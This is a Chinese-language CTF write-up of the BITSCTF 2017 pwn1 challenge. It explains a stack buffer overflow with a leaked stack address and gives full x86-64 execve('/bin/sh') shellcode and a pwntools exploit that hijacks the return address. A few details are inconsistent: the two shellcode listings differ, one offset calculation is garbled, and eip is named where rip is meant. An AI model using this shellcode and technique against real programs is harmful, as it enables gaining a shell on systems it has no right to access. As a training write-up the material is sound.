PWN_04-BITSCTF 2017-Command_Line-pwn1分析

  1. 程序简单的分析
  2. 漏洞点寻找
  3. 漏洞利用
  4. 执行结果
  5. 总结

程序简单的分析

  • 首先放入ubuntu上执行程序,简单了程序的执行流程

    运行结果

  • 程序运行之后只是简单地给我们返回一个地址,然后要求我们输入,输入之后回车程序就结束,那出现的地址是什么呢?

  • 我们将其导入IDAPro进行反汇编分析

    导入IDA Pro

  • 我们发现程序中main主函数中调用了printf函数,并且格式化输出了一个变量的地址,然后又调用了scanf函数要求我们输出,并且我们输入的数据保存地址也是刚刚打印出来的地址

  • 按F5进行伪代码查看

    伪代码

  • 程序基本的流程已经了解清楚了,接下来我们进行动态调试,找出漏洞点并进行利用

漏洞点寻找

  • 其实我们在静态分析时已经发现了危险函数printf,接下来进行动态调试

  • 还是F2下断点,F9开始运行程序

    下断点

  • 之后我们按F8单步运行,执行到printf函数,我们可以看到程序打印的地址,继续执行,执行到scanf函数,输入8个A

    printf函数执行结果

    scanf输入8个A

栈情况

  • 此时我们发现栈中保存了8个A(ascii值为41),地址为0x00007FFFCD13A9A0,并且发现打印的地址与我们输入8个A的地址相同,我们继续执行,查看main函数返回时它的rip是多少,看看是否可以利用覆盖来控制程序的执行流程呢?

    返回地址

  • 我们发现返回地址就在字符串输入地址的上边,我们可以利用覆盖,修改rip的值劫持之后执行后续的代码,我们可以利用shellcode,将其写到某一个特定的地址,然后程序执行到返回时,劫持rip之后执行shellcode代码,反弹shell。

  • 我们输入0x00007FFFCD13A9B832-0x00007FFFCD13A9A0+0x8=0x20个A,覆盖掉返回地址,看是否会报错

    报错

  • 完全符合预期,接下来我们就进行漏洞利用吧

漏洞利用

  • 我们已经找到了漏洞点,并做了一些简单的分析,我们可以输入24个A,再拼接之后shellcode保存的地址,shellcode也拼接到后边,我们的想法就是如下图:

    想法

  • shellcode寻找链接

  • 我们程序为linux64位的,我们寻找一个linux64位程序的shellcode

    "\x48\x31\xd2"                                  // xor    %rdx, %rdx
        "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"      // mov    $0x68732f6e69622f2f, %rbx
        "\x48\xc1\xeb\x08"                              // shr    $0x8, %rbx
        "\x53"                                          // push   %rbx
        "\x48\x89\xe7"                                  // mov    %rsp, %rdi
        "\x50"                                          // push   %rax
        "\x57"                                          // push   %rdi
        "\x48\x89\xe6"                                  // mov    %rsp, %rsi
        "\xb0\x3b"                                      // mov    $0x3b, %al
        "\x0f\x05";                                     // syscall
  • 整理之后shellcode为:\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05

  • 万事俱备,我们来构造我们的payload

    payload = 'A'*24+b64(泄露地址+0x20)+'\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
  • 最终exp为:

    #coding:utf-8
    
    from pwn import *
    
    io = process("./pwn1")
    
    shellcode = "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
    
    shellcode_address = int(io.recv()[:-1], 16)+0x20    #泄露的栈地址+0x20即为我们放置的shellcode地址
    log.info("Leak stack address = %x", shellcode_address) #打印泄露地址
    
    payload = "A"*24    #任意字符填充到栈中至保存的RIP处
    payload += p64(shellcode_address)    #拼接shellcode所在的栈地址,劫持RIP到该地址以执行shellcode
    payload += shellcode    #执行system("/bin/sh")的shellcode
    io.sendline(payload)
    io.interactive()

执行结果

成功执行

总结

  • 本次程序主要是直接利用程序没有对我们输入的东西做限制,我们劫持eip,控制程序执行流程,并写入预先写好的shellcode执行。

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 787772394@qq.com

文章标题:PWN_04-BITSCTF 2017-Command_Line-pwn1分析

本文作者:二豆子·pwnd0u

发布时间:2019-12-02, 22:41:25

最后更新:2020-11-21, 16:32:17

原始链接:http://blog.codefat.cn/2019/12/02/%C2%96BITSCTF-2017-Command-Line-pwn1%E5%88%86%E6%9E%90/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏

/*爱心代码*/ /*雪花效果*/ /*百度代码自动提交*/